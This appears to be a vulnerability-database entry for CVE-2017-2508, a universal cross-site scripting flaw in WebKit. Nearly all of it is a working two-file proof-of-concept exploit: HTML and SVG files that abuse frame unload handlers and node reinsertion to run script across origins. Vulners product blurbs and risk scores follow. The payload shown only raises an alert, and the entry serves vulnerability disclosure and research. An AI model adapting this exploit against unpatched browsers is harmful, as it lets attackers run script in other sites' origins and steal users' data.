Lucene search
K

WebKit: UXSS via ContainerNode::parserInsertBefore(CVE-2017-2508)

🗓️ 29 Jan 2018 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 57 Views

UXSS via ContainerNode::parserInsertBefore(CVE-2017-2508) allows script removal and frame restriction bypas

Related
Code

                                                1.html
---------------------------
<body><iframe></iframe><table><b><p><iframe></iframe><script>
frames[1].onunload = function() {
  document.body.removeChild(document.querySelector('table'));
}

onunload = function() {
  // Clean up to fix some crashes during reload.
  while (document.childNodes.length) {
    document.removeChild(document.childNodes[0]);
  }
}

onload = function() {
  try{ frames[0].a }catch(e){ location.reload() };
  xof = frames[0].frameElement;
  xof.onload = function() {
    xof.onload = null;
    xof.src = 'javascript:alert(document.location)';
    var xmlErr = document.documentElement.appendChild(document.createElement('iframe'));
    xmlErr.src = '1.svg';
  }
  xof.src = 'data:text/html,crossOrigin';
}
</script></b></p></table></body>
---------------------------

1.svg
----------------------------
<svg xmlns="http://www.w3.org/2000/svg">
<script>
document.documentElement.appendChild(document.createElementNS('http://www.w3.org/1999/xhtml', 'iframe'));

var b = top.xof.parentNode;
if (t = b.childNodes[1]) {
  // It appears that something is holding the table element alive
  // because the node destructor didn't run and its siblings' refs
  // to it weren't cleared, so it's still reachable during node 
  // traversals. That'd crash when insertedInto notifications try to 
  // use the node's parentOrShadowHostNode(), so make sure it has
  // a parent, and use a spare document to avoid traversal loops.
  top.frames[1].document.body.appendChild(t);
}

frames[0].onunload = function() {
  document.documentElement.appendChild(b);
  b.insertBefore(document.createElement('x'), top.xof);
}
</script>
<element a="1" a="2" />
</svg>
---------------------------
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

29 Jan 2018 00:00Current
7.5High risk
Vulners AI Score7.5
EPSS0.01026
57